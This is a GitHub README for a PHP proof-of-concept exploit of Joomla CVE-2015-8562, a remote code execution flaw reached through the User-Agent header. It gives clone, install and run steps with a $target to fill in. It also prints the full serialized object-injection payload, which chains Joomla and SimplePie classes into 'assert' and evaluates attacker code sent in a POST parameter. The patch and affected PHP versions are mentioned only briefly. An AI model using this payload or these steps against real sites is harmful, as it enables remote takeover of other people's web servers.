robinhoutevelts / joomla-cve-2015-8562-php-poc

A proof of concept for Joomla's CVE-2015-8562 vulnerability

Joomla-CVE-2015-8562-PHP-POC

A proof of concept for Joomla's CVE-2015-8562 vulnerability

Intro

This PoC is a near 1:1 copy of Gary's python implementation hosted at exploit-db.

Use it

It's very easy to install:

git clone https://github.com/RobinHoutevelts/Joomla-CVE-2015-8562-PHP-POC.git
cd Joomla-CVE-2015-8562-PHP-POC
composer install

Once composer has everything installed you'll need to change $target in exploit.php.

After that you're ready to go:

php exploit.php

CVE-2015-8562

In December 2015 a vulnerability was found in Joomla. It allows remote attackers to conduct PHP object injection attacks and execute arbitrary PHP code via the HTTP User-Agent header.

This vulnerability hit all versions of Joomla. A patch for v1.5.x, v2.5x and v3.x is already released.

If you are running PHP >= 5.4.45, >= 5.5.29 or >= 5.6.13 you are fine as this exploit also utilises CVE-2015-6835.

Nikos Verschore from PatrolServer made a very detailed blog post and was a major help at understanding this vulnerability. You can use their mini-scanner for free to check if your site is at risk.

The real exploit

This is what the sent User-Agent header looks like:

jklmj}__jklmjklmjk|O:21:"JDatabaseDriverMysqli":3:{
  s:4:"\0\0\0a";
  O:17:"JSimplepieFactory":0:{}
  s:21:"\0\0\0disconnectHandlers";
  a:1:{
    i:0;
    a:2:{
      i:0;
      O:9:"SimplePie":5:{
        s:8:"sanitize";
        O:20:"JDatabaseDriverMysql":0:{}
        s:5:"cache";
        b:1;
        s:19:"cache_name_function";
        s:6:"assert";
        s:10:"javascript";
        i:9999;
        s:8:"feed_url";
        s:62:"eval('base64_decode($_POST[111])');JFactory::getConfig();exit;";
      }
      i:1;
      s:4:"init";
    }
  }
  s:13:"\0\0\0connection";
  i:1;
}